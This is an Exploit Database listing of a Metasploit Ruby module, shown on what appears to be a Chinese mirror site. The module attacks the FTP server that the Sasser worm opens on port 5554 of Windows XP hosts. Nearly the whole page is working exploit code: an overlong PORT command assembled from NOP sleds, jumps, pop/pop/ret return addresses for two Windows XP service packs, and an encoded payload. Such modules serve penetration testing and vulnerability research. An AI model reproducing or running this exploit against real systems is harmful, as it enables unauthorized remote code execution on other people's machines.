Sasser Worm avserve – FTP PORT Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16727/

• ##
  # $Id: sasser_ftpd_port.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'Sasser Worm avserve FTP PORT Buffer Overflow',
  			'Description'	=> %q{
  					This module exploits the FTP server component of the Sasser worm.
  				By sending an overly long PORT command the stack can be overwritten.
  			},
  			'Author'	=> [ 'valsmith [at] metasploit.com>', 'chamuco [at] gmail.com>', 'patrick' ],
  			'Arch'		=> [ ARCH_X86 ],
  			'License'	=> MSF_LICENSE,
  			'Version'	=> '$Revision: 9179 $',
  			'References'	=>
  				[
  					[ 'OSVDB', '6197'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Platform' 	=> ['win'],
  			'Privileged'	=> false,
  			'Payload'	=>
  				{
  					'Space'			=> 480,
  					'BadChars'		=> "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
  					'StackAdjustment'	=> -3500,
  				},
  			'Targets' 	=>
  			[
  				[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r ws2help.dll
  				[ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r
  			],
  			'DisclosureDate' => 'May 10 2004',
  			'DefaultTarget' => 1))
  
  		register_options(
  			[
  				Opt::RPORT(5554),
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')
  		sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)
  
  		send_cmd( ['PORT', sploit] , false)
  
  		handler
  		disconnect
  	end
  
  end